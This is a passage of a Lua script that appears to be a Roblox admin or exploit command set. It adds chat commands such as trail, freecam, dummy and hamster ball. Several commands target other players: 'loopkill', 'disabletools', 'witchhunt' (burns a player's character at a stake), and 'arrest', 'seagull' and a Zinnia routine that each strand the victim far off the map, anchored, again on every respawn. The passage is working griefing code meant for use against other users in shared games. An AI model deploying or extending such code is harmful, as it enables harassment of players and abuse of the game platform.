Enum.SurfaceType.Weld, ["Material"] = "Neon", }) o3 = System.Create("PointLight",{ ["Parent"] = o2, ["Brightness"] = 8, ["Range"] = 14, }) o4 = System.Create("CylinderMesh",{ ["Parent"] = o2, }) if not args[2] then o2.Color = Color3.new(1,1,1) o3.Color = Color3.new(1,1,1) else o2.Color = Color3.new((args[2]),(args[3]),(args[4])) o3.Color = Color3.new((args[2]),(args[3]),(args[4])) end mas.Parent = workspace mas:MakeJoints() local b = mas:GetChildren() for a = 1, #b do b[a].Parent = gPlayers[v].Backpack ypcall(function() b[a]:MakeJoints() end) end mas:Destroy() for a = 1, #c do coroutine.resume(c[a]) end end) end end) addcmd('keybind','Binds a command to a key',{}, function(args,speaker) if speaker.userId ~= LP.userId then lponly(speaker) else if #args < 2 then return end local key = string.lower(args[1]) if #key > 1 or key == cmdbarbind then return end local cmdText = GLS(false,1) local cas = game:GetService("ContextActionService") cas:BindAction("Keybind"..key,function(action,state,obj) if state == Enum.UserInputState.Begin then execCmd(cmdText,speaker) end end,false,key) Notify("Binded "..cmdText.." to "..key) end end) addcmd('unkeybind','Removes a binded command from a key',{'unbind'}, function(args,speaker) if speaker.userId ~= LP.userId then lponly(speaker) else if #args < 1 then return end local key = string.lower(args[1]) game:GetService("ContextActionService"):UnbindAction("Keybind"..key) Notify("Unbinded "..key) end end) addcmd('trail', 'spawns a trail behind a player',{}, function(args, speaker) local players = getPlayer(args[1], speaker) for i,v in pairs(players)do spawn(function() local pchar=_char(v) for j,v1 in pairs(pchar.Torso:GetChildren()) do if v1.Name == "TRAIL" then v1:Destroy() end end if args[2] then color1 = Color3.new(args[2],args[3],args[4]) color2 = Color3.new(0,0,0) else color1 = Color3.new(1,1,1) color2 = Color3.new(0,0,0) end if pchar:FindFirstChild("Torso") then local e = Instance.new("Trail", pchar.Torso) e.Name = "TRAIL" e.FaceCamera = true e.Color = ColorSequence.new(color1,color2) e.Attachment0 = pchar.Torso.WaistCenterAttachment e.Attachment1 = pchar.Torso.NeckAttachment end end) end end) addcmd('untrail', 'deletes the trail behind a player',{'notrail'}, function(args, speaker) local players = getPlayer(args[1], speaker) for i,v in pairs(players)do spawn(function() local pchar=_char(v) for j,v1 in pairs(pchar.Torso:GetChildren()) do if v1.Name == "TRAIL" then v1:Destroy() end end end) end end) local fa = false local cam = workspace.CurrentCamera local cam1 = 0 local cam2 = 0 local cam3 = 0 local k1 = false local k2 = false local k3 = false local k4 = false local k5 = false local k6 = false local cs = 0.5 function movecam() local fc = game:GetService('Players').LocalPlayer.Character:FindFirstChild('xFC') if fa == false then repeat if game:GetService('Players').LocalPlayer.Character:FindFirstChild('xFC') then local fp = fc.Position fc.CFrame = CFrame.new(Vector3.new(fp.X,fp.Y+cam3,fp.Z),cam.CFrame.p)*CFrame.new(cam2,0,cam1) fa = true end game:GetService('RunService').RenderStepped:Wait() until not game:GetService('Players').LocalPlayer.Character:FindFirstChild('xFC') fa = false end end function kp1(inputObject, gameProcessedEvent) if not gameProcessedEvent and game:GetService('Players').LocalPlayer.Character and game:GetService('Players').LocalPlayer.Character:FindFirstChild('xFC') then if inputObject.KeyCode == Enum.KeyCode.W or inputObject.KeyCode == Enum.KeyCode.Up then k1 = true cam1 = cs end if inputObject.KeyCode == Enum.KeyCode.S or inputObject.KeyCode == Enum.KeyCode.Down then k2 = true cam1 = (cs*-1) end if inputObject.KeyCode == Enum.KeyCode.A or inputObject.KeyCode == Enum.KeyCode.Left then k3 = true cam2 = cs end if inputObject.KeyCode == Enum.KeyCode.D or inputObject.KeyCode == Enum.KeyCode.Right then k4 = true cam2 = (cs*-1) end if inputObject.KeyCode == Enum.KeyCode.E or inputObject.KeyCode == Enum.KeyCode.Space then k5 = true cam3 = cs end if inputObject.KeyCode == Enum.KeyCode.Q or inputObject.KeyCode == Enum.KeyCode.LeftControl then k6 = true cam3 = (cs*-1) end end end game:GetService("UserInputService").InputBegan:connect(kp1) function kp2(inputObject, gameProcessedEvent) if not gameProcessedEvent and game:GetService('Players').LocalPlayer.Character and game:GetService('Players').LocalPlayer.Character:FindFirstChild('xFC') then if inputObject.KeyCode == Enum.KeyCode.W or inputObject.KeyCode == Enum.KeyCode.Up then k1 = false if k2 == false then cam1 = 0 end end if inputObject.KeyCode == Enum.KeyCode.S or inputObject.KeyCode == Enum.KeyCode.Down then k2 = false if k1 == false then cam1 = 0 end end if inputObject.KeyCode == Enum.KeyCode.A or inputObject.KeyCode == Enum.KeyCode.Left then k3= false if k4== false then cam2 = 0 end end if inputObject.KeyCode == Enum.KeyCode.D or inputObject.KeyCode == Enum.KeyCode.Right then k4 = false if k3 == false then cam2 = 0 end end if inputObject.KeyCode == Enum.KeyCode.E or inputObject.KeyCode == Enum.KeyCode.Space then k5 = false if k6 == false then cam3 = 0 end end if inputObject.KeyCode == Enum.KeyCode.Q or inputObject.KeyCode == Enum.KeyCode.LeftControl then k6 = false if k5 == false then cam3 = 0 end end end end game:GetService("UserInputService").InputEnded:connect(kp2) function FC() if not game:GetService('Players').LocalPlayer.Character:FindFirstChild('xFC') then game:GetService('Players').LocalPlayer.PlayerScripts.ControlScript.Disabled = true local fc = Instance.new('Part',game:GetService('Players').LocalPlayer.Character) fc.CanCollide = false fc.Anchored = true fc.Transparency = 1 fc.Size = Vector3.new(1,1,1) fc.Name = 'xFC' fc.CFrame = game:GetService('Players').LocalPlayer.Character.Head.CFrame local cam = workspace.CurrentCamera cam.CameraSubject = fc cam.CameraType = 'Custom' movecam() end end function UFC() game:GetService('Players').LocalPlayer.PlayerScripts.ControlScript.Disabled = false if game:GetService('Players').LocalPlayer.Character:FindFirstChild('xFC') then game:GetService('Players').LocalPlayer.Character:FindFirstChild('xFC'):Destroy() local cam = workspace.CurrentCamera cam.CameraSubject = game:GetService('Players').LocalPlayer.Character.Humanoid cam.CameraType = 'Custom' end end addcmd('freecam','freecam',{'fc'}, function(args, speaker) if speaker.userId ~= LP.userId then lponly(speaker) else FC() end end) addcmd('witchhunt', 'deletes the trail behind a player',{'burn','witch'}, function(args, speaker) local players = getPlayer(args[1], speaker) for i,v in pairs(players)do local pchar=_char(v) local char = pchar local hum = char.Humanoid for k,c in pairs(char:children()) do if c:IsA("Part") and c.Name~="HumanoidRootPart" then c.Anchored=true end end hum.HealthDisplayDistance = 0 --execcmd god local stake = Instance.new("Part",char) stake.Anchored = true stake.BrickColor = BrickColor.new("Reddish brown") stake.Material = "Wood" stake.Size = Vector3.new(1,7,1) stake.CFrame = char.Torso.CFrame*CFrame.new(0,0,1) local hay = Instance.new("Part",char) hay.Anchored = true hay.Material = "Grass" hay.BrickColor = BrickColor.new("New Yeller") hay.Size = Vector3.new(6,1,5) hay.CFrame = char.Torso.CFrame*CFrame.new(0,-3,0)*CFrame.Angles(0,2,0) local hay2 = hay:clone() hay2.Parent = char hay2.CFrame = char.Torso.CFrame*CFrame.new(0,-2.6,0)*CFrame.Angles(0,6,0) local fire = Instance.new("Fire",hay) fire.Enabled = false fire.Heat = 25 fire.Size = 2 fire.Color = Color3.new(170/255,85/255,0) local smoke = Instance.new("Smoke",hay) smoke.Enabled = false smoke.Opacity = 1 smoke.RiseVelocity = 25 smoke.Size = 15 smoke.Color = Color3.new(0,0,0) local light = Instance.new("PointLight",hay) light.Color = Color3.new(170/255,85/255,0) light.Range = 0 light.Brightness = 1 light.Enabled = false --[[]] local crack = Instance.new("Sound",hay) crack.SoundId = "rbxassetid://239443642" crack.Looped = true crack.Volume = 0 local scream = Instance.new("Sound",char.Torso) scream.SoundId = "rbxassetid://264227115" scream.Looped = true scream.Volume = 0 --]] wait() char['Left Arm'].CFrame = char.Torso.CFrame * CFrame.new(-0.8,0,0.7) * CFrame.Angles(-1,0,0.5) char['Right Arm'].CFrame = char.Torso.CFrame * CFrame.new(0.8,0,0.7) * CFrame.Angles(-1,0,-0.5) local bods = char['Body Colors'] local colors = { --"Really red"; "Bright red"; "Crimson"; "Maroon"; "Really black"; } fire.Enabled=true smoke.Enabled=true light.Enabled=true crack:Play() scream:Play() scream.Pitch = 0.8 --scream.Volume = 0.5 for i=1,30 do crack.Volume = crack.Volume+(1/30) scream.Volume = crack.Volume fire.Size=i smoke.RiseVelocity=i-5 smoke.Size=i/2 light.Range=i*2 wait(1) end for i=1,#colors do bods.HeadColor=BrickColor.new(colors[i]) bods.LeftArmColor=BrickColor.new(colors[i]) bods.LeftLegColor=BrickColor.new(colors[i]) bods.RightArmColor=BrickColor.new(colors[i]) bods.RightLegColor=BrickColor.new(colors[i]) bods.TorsoColor=BrickColor.new(colors[i]) hay.BrickColor=BrickColor.new(colors[i]) hay2.BrickColor=BrickColor.new(colors[i]) stake.BrickColor=BrickColor.new(colors[i]) wait(5) end wait(10) scream.Volume = 0.5 wait(1) scream:Stop() char:BreakJoints() end end) addcmd('unfreecam','unfreecam',{'nofreecam','unfc','nofc'}, function(args, speaker) if speaker.userId ~= LP.userId then lponly(speaker) else UFC() end end) addcmd('nolight', 'no more light',{'unlight'}, function(args, speaker) local players = getPlayer(args[1], speaker) for i,v in pairs(players)do local pchar=_char(v) for j,v1 in pairs(pchar.HumanoidRootPart:GetChildren()) do if v1:IsA("PointLight") then v1:Destroy() end end end end) addcmd('ball', 'makes a hamster ball for a player',{'hamsterball'}, function(args, speaker) local players = getPlayer(args[1], speaker) for i,v in pairs(players)do local pchar=_char(v) scale = 10 function weld(tab) local last = nil for i,v in pairs(tab) do if v:IsA("BasePart") then if last then local w = Instance.new("Weld",last) w.Part0 = w.Parent w.Part1 = v local pos = last.CFrame:toObjectSpace(v.CFrame) w.C0 = pos end last = v end end end function makeball(pos) local model = Instance.new("Model",workspace) model.Name = gPlayers[v].Name .. "ball" local rand = BrickColor.Random() pchar.Head.Anchored = true for i=0,340,20 do wait() for z=-90,70,20 do local p = Instance.new("Part",model) p.formFactor = "Custom" p.BrickColor = rand p.Transparency = 0.5 p.Size = Vector3.new(scale/5.5,scale/5.5,scale/140) p.Anchored = true p.TopSurface = 0 p.BottomSurface = 0 p.CFrame = CFrame.new(pos) * CFrame.Angles(math.rad(z),math.rad(i),0) * CFrame.new(0,0,-scale/2) p:breakJoints() end end weld(model:children()) for i,v in pairs(model:children()) do v.Anchored = false end pchar.Head.Anchored = false model:MakeJoints() end if pchar then makeball(pchar.HumanoidRootPart.Position+Vector3.new(0,scale/2-2.5,0)) end end end) addcmd('unball', 'makes a hamster ball for a player',{'unhamsterball','noball','nohamsterball'}, function(args, speaker) local players = getPlayer(args[1], speaker) for i,v in pairs(players)do local pchar=_char(v) for _, child in pairs( workspace:GetChildren()) do if child.Name == gPlayers[v].Name .. "ball" then child:Destroy() end end end end) local car = game:GetService("InsertService"):LoadLocalAsset("rbxassetid://01308109587") local fastwait = function(time) local expire = tick()+(time or 0.02999999999999999889) while game:GetService("RunService").Heartbeat:wait() do if tick() >= expire then return true end end end function arrest(name) spawn(function() local p = game:GetService("Players"):FindFirstChild(name) local char = p.Character local torso = p.Character:FindFirstChild("HumanoidRootPart") local humanoid = p.Character:FindFirstChild("Humanoid") if torso and humanoid and not char:FindFirstChild("ADONIS_VAN") then local van = car:Clone() if van then local function check() if not van or not van.Parent or not p or p.Parent ~= game:GetService("Players") or not torso or not humanoid or not torso.Parent or not humanoid.Parent or not char or not char.Parent then return false else return true end end --local driver = van.Driver --local grabber = van.Clown local primary = van.Primary --local door = van.Door local tPos = torso.CFrame local sound = Instance.new("Sound",primary) sound.SoundId = "rbxassetid://258529216" sound.Looped = true sound:Play() local chuckle = Instance.new("Sound",primary) chuckle.SoundId = "rbxassetid://175964948" chuckle.Looped = true chuckle.Volume = 0.5 chuckle:Play() van.PrimaryPart = van.Primary van.Name = "ADONIS_VAN" van.Parent = workspace humanoid.Name = "NoResetForYou" humanoid.WalkSpeed = 0 sound.Pitch = 1.3 local music = workspace:FindFirstChild("COPSONG") or Instance.new("Sound",workspace) music.Name = "COPSONG" music.SoundId = "rbxassetid://132007810" music.Volume = 1 music.Looped = true if not music.Playing then music:Play() end spawn(function() while fastwait(0.2) do van.Body.Lightbar.Red.PointLight.Enabled = true van.Body.Lightbar.Blue.PointLight.Enabled = false fastwait(0.2) van.Body.Lightbar.Red.PointLight.Enabled = false van.Body.Lightbar.Blue.PointLight.Enabled = true end end) for i = 1,200 do if not check() then break else van:SetPrimaryPartCFrame(tPos*(CFrame.new(-200+i,-1,-7)*CFrame.Angles(0,math.rad(270),0))) fastwait(0.001*(i/5)) end end sound.Pitch = 0.9 fastwait(0.5) if check() then --door.Transparency = 1 end local freeze = Instance.new("Sound",primary) freeze.SoundId = "rbxassetid://163732279" freeze.Volume = 5 freeze:Play() fastwait(3) if check() then torso.CFrame = primary.CFrame*(CFrame.new(0,2.3,0)*CFrame.Angles(0,math.rad(90),0)) end fastwait(0.5) if check() then --door.Transparency = 0 end fastwait(0.5) sound.Pitch = 1.3 local gui = Instance.new("ScreenGui") local frame = Instance.new("Frame",gui) frame.BackgroundTransparency = 1 frame.BackgroundColor3 = Color3.new(0,0,0) frame.Position = UDim2.new(0,0,0,-36) frame.Size = UDim2.new(1,0,1,36) spawn(function() for i = 1,0,-0.01 do frame.BackgroundTransparency = i fastwait(0.1) end frame.BackgroundTransparency = 0 end) p.CameraMaxZoomDistance = 0.5 torso.Anchored = true for i = 1,400 do if not check() then break else van:SetPrimaryPartCFrame(tPos*(CFrame.new(0+i,-1,-7)*CFrame.Angles(0,math.rad(270),0))) torso.CFrame = primary.CFrame*(CFrame.new(0,-0.4,0)*CFrame.Angles(0,math.rad(90),0)) fastwait(0.1/(i*5)) if i == 270 then music.Volume = 5 end end end local function KICK(P) spawn(function() if not FindTable(WL, P.Name) then for i = 1,5 do if P.Character and P.Character:FindFirstChild('HumanoidRootPart') then P.Character.HumanoidRootPart.CFrame = CFrame.new(math.random(999000, 1001000), 1000000, 1000000) local SP = Instance.new('SkateboardPlatform', P.Character) SP.Position = P.Character.HumanoidRootPart.Position SP.Transparency = 1 spawn(function() repeat fastwait() if P.Character and P.Character:FindFirstChild('HumanoidRootPart') then SP.Position = P.Character.HumanoidRootPart.Position end until not game:GetService("Players"):FindFirstChild(P.Name) end) P.Character.HumanoidRootPart.Anchored = true end end end end) end if p and p.Parent == game:GetService("Players") then if p == game:GetService("Players").LocalPlayer then fastwait(5) end torso.Anchored = false p.CharacterAdded:Connect(function() fastwait() KICK(p) end) KICK(p) end fastwait(0.5) pcall(function() van:Destroy() end) pcall(function() gui:Destroy() end) if not workspace:FindFirstChild("ADONIS_VAN") then music:Destroy() end end end end) end addcmd('arrest', 'arrests player',{}, function(args, speaker) local players = getPlayer(args[1], speaker) for i,v in pairs(players)do arrest(gPlayers[v].Name) end end) addcmd('nodummies', 'clears dummies',{}, function(args, speaker) for _, child in pairs( workspace:GetChildren()) do if child:FindFirstChild('isdummy') then child:Destroy() end end end) addcmd('dummy','Make a dummy(usage: ;dummy name)',{}, function(args, speaker) local name = GLS(false, 0) local lchar = game:GetService('Players').LocalPlayer local Model0 = Instance.new("Model") local Part1 = Instance.new("Part") local SpecialMesh2 = Instance.new("SpecialMesh") local Decal3 = Instance.new("Decal") local Part4 = Instance.new("Part") local Motor5 = Instance.new("Motor") local Motor6 = Instance.new("Motor") local Motor7 = Instance.new("Motor") local Motor8 = Instance.new("Motor") local Motor9 = Instance.new("Motor") local Part10 = Instance.new("Part") local Part11 = Instance.new("Part") local Part12 = Instance.new("Part") local Part13 = Instance.new("Part") local dum = Instance.new("BoolValue") dum.Name = "isdummy" dum.Parent = Model0 local Humanoid14 = Instance.new("Humanoid") Model0.Name = name Model0.Parent = workspace Model0.PrimaryPart = Part1 Part1.Name = "Head" Part1.Parent = Model0 Part1.BrickColor = BrickColor.new("Bright yellow") Part1.CanCollide = false Part1.FormFactor = Enum.FormFactor.Symmetric Part1.Friction = 0 Part1.Size = Vector3.new(2, 1, 1) Part1.CFrame = CFrame.new(3.49000192, 4.49999905, 7.75, 1, 0, 0, 0, 1, 0, 0, 0, 1) Part1.TopSurface = Enum.SurfaceType.Smooth Part1.Color = Color3.new(0.960784, 0.803922, 0.188235) Part1.Position = Vector3.new(3.49000192, 4.49999905, 7.75) Part1.Color = Color3.new(0.960784, 0.803922, 0.188235) SpecialMesh2.Parent = Part1 SpecialMesh2.Scale = Vector3.new(1.25, 1.25, 1.25) SpecialMesh2.Scale = Vector3.new(1.25, 1.25, 1.25) Decal3.Name = "face" Decal3.Parent = Part1 Decal3.Texture = "rbxasset://textures/face.png" Part4.Name = "Torso" Part4.Parent = Model0 Part4.BrickColor = BrickColor.new("Bright blue") Part4.CanCollide = false Part4.FormFactor = Enum.FormFactor.Symmetric Part4.Friction = 0 Part4.Size = Vector3.new(2, 2, 1) Part4.CFrame = CFrame.new(3.49000192, 2.99999905, 7.75, 1, 0, 0, 0, 1, 0, 0, 0, 1) Part4.LeftSurface = Enum.SurfaceType.Weld Part4.RightSurface = Enum.SurfaceType.Weld Part4.Color = Color3.new(0.0509804, 0.411765, 0.67451) Part4.Position = Vector3.new(3.49000192, 2.99999905, 7.75) Part4.Color = Color3.new(0.0509804, 0.411765, 0.67451) Motor5.Name = "Right Shoulder" Motor5.Parent = Part4 Motor5.C0 = CFrame.new(1, 0.5, 0, 0, 0, 1, 0, 1, 0, -1, 0, 0) Motor5.C1 = CFrame.new(-0.5, 0.5, 0, 0, 0, 1, 0, 1, 0, -1, 0, 0) Motor5.Part0 = Part4 Motor5.Part1 = Part11 Motor5.DesiredAngle = 0.083800852298737 Motor5.MaxVelocity = 0.15000000596046 Motor6.Name = "Left Shoulder" Motor6.Parent = Part4 Motor6.C0 = CFrame.new(-1, 0.5, 0, 0, 0, -1, 0, 1, 0, 1, 0, 0) Motor6.C1 = CFrame.new(0.5, 0.5, 0, 0, 0, -1, 0, 1, 0, 1, 0, 0) Motor6.Part0 = Part4 Motor6.Part1 = Part10 Motor6.DesiredAngle = 0.083800852298737 Motor6.MaxVelocity = 0.15000000596046 Motor7.Name = "Left Hip" Motor7.Parent = Part4 Motor7.C0 = CFrame.new(-1, -1, 0, 0, 0, -1, 0, 1, 0, 1, 0, 0) Motor7.C1 = CFrame.new(-0.5, 1, 0, 0, 0, -1, 0, 1, 0, 1, 0, 0) Motor7.Part0 = Part4 Motor7.Part1 = Part12 Motor7.DesiredAngle = -0.083800852298737 Motor7.MaxVelocity = 0.10000000149012 Motor8.Name = "Neck" Motor8.Parent = Part4 Motor8.C0 = CFrame.new(0, 1, 0, -1, 0, 0, 0, 0, 1, 0, 1, 0) Motor8.C1 = CFrame.new(0, -0.5, 0, -1, 0, 0, 0, 0, 1, 0, 1, 0) Motor8.Part0 = Part4 Motor8.Part1 = Part1 Motor8.MaxVelocity = 0.10000000149012 Motor9.Name = "Right Hip" Motor9.Parent = Part4 Motor9.C0 = CFrame.new(1, -1, 0, 0, 0, 1, 0, 1, 0, -1, 0, 0) Motor9.C1 = CFrame.new(0.5, 1, 0, 0, 0, 1, 0, 1, 0, -1, 0, 0) Motor9.Part0 = Part4 Motor9.Part1 = Part13 Motor9.DesiredAngle = -0.083800852298737 Motor9.MaxVelocity = 0.10000000149012 Part10.Name = "Left Arm" Part10.Parent = Model0 Part10.BrickColor = BrickColor.new("Bright yellow") Part10.CanCollide = false Part10.FormFactor = Enum.FormFactor.Symmetric Part10.Size = Vector3.new(1, 2, 1) Part10.CFrame = CFrame.new(1.99000192, 2.99999905, 7.75, 1, 0, 0, 0, 1, 0, 0, 0, 1) Part10.Color = Color3.new(0.960784, 0.803922, 0.188235) Part10.Position = Vector3.new(1.99000192, 2.99999905, 7.75) Part10.Color = Color3.new(0.960784, 0.803922, 0.188235) Part11.Name = "Right Arm" Part11.Parent = Model0 Part11.BrickColor = BrickColor.new("Bright yellow") Part11.CanCollide = false Part11.FormFactor = Enum.FormFactor.Symmetric Part11.Size = Vector3.new(1, 2, 1) Part11.CFrame = CFrame.new(4.99000168, 2.99999905, 7.75, 1, 0, 0, 0, 1, 0, 0, 0, 1) Part11.Color = Color3.new(0.960784, 0.803922, 0.188235) Part11.Position = Vector3.new(4.99000168, 2.99999905, 7.75) Part11.Color = Color3.new(0.960784, 0.803922, 0.188235) Part12.Name = "Left Leg" Part12.Parent = Model0 Part12.BrickColor = BrickColor.new("Br. yellowish green") Part12.CanCollide = false Part12.FormFactor = Enum.FormFactor.Symmetric Part12.Size = Vector3.new(1, 2, 1) Part12.CFrame = CFrame.new(2.99000192, 0.999999046, 7.75, 1, 0, 0, 0, 1, 0, 0, 0, 1) Part12.BottomSurface = Enum.SurfaceType.Smooth Part12.Color = Color3.new(0.643137, 0.741176, 0.278431) Part12.Position = Vector3.new(2.99000192, 0.999999046, 7.75) Part12.Color = Color3.new(0.643137, 0.741176, 0.278431) Part13.Name = "Right Leg" Part13.Parent = Model0 Part13.BrickColor = BrickColor.new("Br. yellowish green") Part13.CanCollide = false Part13.FormFactor = Enum.FormFactor.Symmetric Part13.Size = Vector3.new(1, 2, 1) Part13.CFrame = CFrame.new(3.99000192, 0.999999046, 7.75, 1, 0, 0, 0, 1, 0, 0, 0, 1) Part13.BottomSurface = Enum.SurfaceType.Smooth Part13.Color = Color3.new(0.643137, 0.741176, 0.278431) Part13.Position = Vector3.new(3.99000192, 0.999999046, 7.75) Part13.Color = Color3.new(0.643137, 0.741176, 0.278431) Humanoid14.Parent = Model0 Humanoid14.RightLeg = Part13 Humanoid14.LeftLeg = Part12 Humanoid14.Torso = Part4 Model0:MoveTo(game:GetService('Players').LocalPlayer.Character:GetModelCFrame().p) Model0.Parent = game:GetService('Workspace') end) addcmd('loopkill', 'rip person',{'lkill'}, function(args, speaker) local players = getPlayer(args[1], speaker) for i,v in pairs(players)do if not FindTable(loopkillT, _players[v].Name) then table.insert(loopkillT, _players[v].Name) if FindTable(SPC, args[1]) then Notify('Loopkilling ' .. args[1]) else Notify('Loopkilling player(s)') end end end end) addcmd('unloopkill', 'un rip person',{'unlkill'}, function(args, speaker) local players = getPlayer(args[1], speaker) for i,v in pairs(players)do if FindTable(loopkillT, _players[v].Name) then table.remove(loopkillT, GetInTable(loopkillT, _players[v].Name)) if FindTable(SPC, args[1]) then Notify('No longer loopkilling ' .. args[1]) else Notify('No longer loopkilling player(s)') end end end end) addcmd('disabletools', 'removes their tools',{'loopremovetools'}, function(args, speaker) local players = getPlayer(args[1], speaker) for i,v in pairs(players)do if not FindTable(disabletoolsT, _players[v].Name) then table.insert(disabletoolsT, _players[v].Name) if FindTable(SPC, args[1]) then Notify('Disabled tools for ' .. args[1]) else Notify('Disabled tools for player(s)') end end end end) addcmd('enabletools', 'lets them have tools',{}, function(args, speaker) local players = getPlayer(args[1], speaker) for i,v in pairs(players)do if FindTable(disabletoolsT, _players[v].Name) then table.remove(disabletoolsT, GetInTable(disabletoolsT, _players[v].Name)) wait(0.1) refresh(_players[v]) if FindTable(SPC, args[1]) then Notify('Enabled tools for ' ..args[1]) else Notify('Enabled tools for player(s)') end end end end) addcmd('refresh', 'refresh their player model',{}, function(args, speaker) local players = getPlayer(args[1], speaker) for i,v in pairs(players)do refresh(_players[v]) end end) local fastwait = function(time) local expire = tick()+(time or 0.02999999999999999889) while game:GetService("RunService").Heartbeat:wait() do if tick() >= expire then return true end end end function gull(name) spawn(function() local char = game:GetService("Players")[name].Character char.PrimaryPart = char.HumanoidRootPart local tors = game:GetService("Players")[name].Character.HumanoidRootPart local initCFrame = tors.CFrame if char:FindFirstChild("Torso") then char.Torso.Anchored = true else char.UpperTorso.Anchored = true end char:FindFirstChildOfClass("Humanoid").Name = "Sad" local gull = Instance.new("Part") gull.Anchored = true gull.CanCollide = false gull.Position = Vector3.new(0,100000,0) local mesh = Instance.new("SpecialMesh",gull) mesh.MeshId = "http://www.roblox.com/asset/?id=272501436" mesh.TextureId = "http://www.roblox.com/asset/?id=267684509" mesh.Scale = Vector3.new(10,10,10) local leftWing = Instance.new("Part",gull) leftWing.CanCollide = false local lmesh = Instance.new("SpecialMesh",leftWing) lmesh.MeshId = "http://www.roblox.com/asset/?id=267684584" lmesh.TextureId = "http://www.roblox.com/asset/?id=267684509" lmesh.Scale = Vector3.new(10,10,10) local leftMotor = Instance.new("Motor6D",gull) leftMotor.MaxVelocity = 1 leftMotor.Part0 = gull leftMotor.Part1 = leftWing leftMotor.C0 = CFrame.new(-50.2919998, -0.0920021087, 0.280000001) local rightWing = Instance.new("Part",gull) rightWing.CanCollide = false local rmesh = Instance.new("SpecialMesh",rightWing) rmesh.MeshId = "http://www.roblox.com/asset/?id=267684651" rmesh.TextureId = "http://www.roblox.com/asset/?id=267684509" rmesh.Scale = Vector3.new(10,10,10) local rightMotor = Instance.new("Motor6D",gull) rightMotor.MaxVelocity = 1 rightMotor.Part0 = gull rightMotor.Part1 = rightWing rightMotor.C0 = CFrame.new(47.1930008, -0.0670021027, 0.280000001) local sound = Instance.new("Sound",gull) sound.SoundId = "rbxassetid://160877039" sound.Volume = 10 gull.Parent = workspace for i = 400,-1000,-2 do local der = 0.02*i local angle = math.atan(der/1) gull.CFrame = initCFrame*CFrame.Angles(angle,math.pi,0) + initCFrame.lookVector * (i+5) + Vector3.new(0,0.01*i^2+7,0) if i == 0 then sound:Play() end if i <= 0 then char:SetPrimaryPartCFrame(gull.CFrame) local nextAngle = -0.2*math.sin(0.05*math.pi*(i)) leftMotor.DesiredAngle = -nextAngle leftMotor.C0 = CFrame.new(-50.2919998, 47.193*math.tan(nextAngle), 0.280000001) rightMotor.DesiredAngle = nextAngle rightMotor.C0 = CFrame.new(47.1930008, 47.193*math.tan(nextAngle), 0.280000001) end game:GetService("RunService").RenderStepped:wait() end local function KICK(P) spawn(function() if not FindTable(WL, P.Name) then for i = 1,5 do if P.Character and P.Character:FindFirstChild('HumanoidRootPart') then P.Character.HumanoidRootPart.CFrame = CFrame.new(math.random(999000, 1001000), 1000000, 1000000) local SP = Instance.new('SkateboardPlatform', P.Character) SP.Position = P.Character.HumanoidRootPart.Position SP.Transparency = 1 spawn(function() repeat wait() if P.Character and P.Character:FindFirstChild('HumanoidRootPart') then SP.Position = P.Character.HumanoidRootPart.Position end until not game:GetService("Players"):FindFirstChild(P.Name) end) P.Character.HumanoidRootPart.Anchored = true end end end end) end if char:FindFirstChild("Torso") then char.Torso.Anchored = false else char.UpperTorso.Anchored = false end spawn(function() if game:GetService("Players")[name] == game:GetService("Players").LocalPlayer then wait(5) end game:GetService("Players")[name].CharacterAdded:Connect(function() wait() KICK(game:GetService("Players")[name]) end) KICK(game:GetService("Players")[name]) end) local go = Instance.new("BodyVelocity",gull) go.Velocity = Vector3.new(0,1000,0) go.MaxForce = Vector3.new(1000000,1000000,1000000) gull.Anchored = false end) end addcmd('seagull', 'seagulls player',{'gull'}, function(args, speaker) local players = getPlayer(args[1], speaker) for i,v in pairs(players)do gull(gPlayers[v].Name) end end) local song = nil function zinniaKick(name) spawn(function() if song == nil then song = Instance.new("Sound",workspace) song.SoundId = "rbxassetid://190423831" song.Volume = 1 song.Looped = true song:Play() end local zin = Instance.new("Part") zin.Name = "CuteZinnia" zin.Anchored = true zin.CanCollide = false zin.Locked = true local mesh = Instance.new("SpecialMesh") mesh.MeshId = "rbxassetid://1175670539" mesh.TextureId = "rbxassetid://1175670558" mesh.Scale = Vector3.new(0.05,0.05,0.05) mesh.Offset = Vector3.new(0,0.88,0) mesh.Parent = zin local char = game:GetService("Players")[name].Character char.PrimaryPart = char.HumanoidRootPart if char:FindFirstChild("Torso") then char.Torso.Anchored = true else char.UpperTorso.Anchored = true end zin.CFrame = (char.HumanoidRootPart.CFrame + char.HumanoidRootPart.CFrame.lookVector*50) * CFrame.Angles(0,math.pi,0) + Vector3.new(0,500,0) + (char:FindFirstChild("UpperTorso") and Vector3.new(0,0.9,0) or Vector3.new(0,0,0)) zin.Parent = workspace local tween = game:GetService("TweenService"):Create(zin,TweenInfo.new(3,Enum.EasingStyle.Quart,Enum.EasingDirection.Out,0,false,0),{CFrame = zin.CFrame - Vector3.new(0,500,0)}) tween:Play() fastwait(3) for i = 50,1,-1 do zin.CFrame = (char.HumanoidRootPart.CFrame + char.HumanoidRootPart.CFrame.lookVector*i) * CFrame.Angles(0,math.pi,0) + (char:FindFirstChild("UpperTorso") and Vector3.new(0,0.9,0) or Vector3.new(0,0,0)) fastwait() end char:SetPrimaryPartCFrame(zin.CFrame + CFrame.Angles(0,math.pi/2,0)*zin.CFrame.lookVector*3.5 + Vector3.new(0,3,0)) fastwait(1) local turns = 0 while turns < 200 do zin.CFrame = zin.CFrame*CFrame.Angles(0,(-math.pi/3)*turns/200,0) char:SetPrimaryPartCFrame(zin.CFrame + CFrame.Angles(0,math.pi/2,0)*zin.CFrame.lookVector*3.5 + Vector3.new(0,3,0)) turns = turns + 1 fastwait() end for i = 1,10 do zin.CFrame = zin.CFrame*CFrame.Angles(0,(-math.pi/3)*turns/200,0) char:SetPrimaryPartCFrame(zin.CFrame + CFrame.Angles(0,math.pi/2,0)*zin.CFrame.lookVector*3.5 + Vector3.new(0,3,0)) fastwait() end local rX,rZ = 0,0 repeat rX = math.random(-10000,10000) until math.abs(rX) > 5000 repeat rZ = math.random(-10000,10000) until math.abs(rZ) > 5000 local bv = Instance.new("BodyForce",char.HumanoidRootPart) bv.Force = Vector3.new(rX,10000,rZ) if char:FindFirstChild("Torso") then char.Torso.Anchored = false else char.UpperTorso.Anchored = false end function KICK(P) spawn(function() if not FindTable(WL, P.Name) then for i = 1,5 do if P.Character and P.Character:FindFirstChild('HumanoidRootPart') then P.Character.HumanoidRootPart.CFrame = CFrame.new(math.random(999000, 1001000), 1000000, 1000000) local SP = Instance.new('SkateboardPlatform', P.Character) SP.Position = P.Character.HumanoidRootPart.Position SP.Transparency = 1 spawn(function() repeat fastwait() if P.Character and 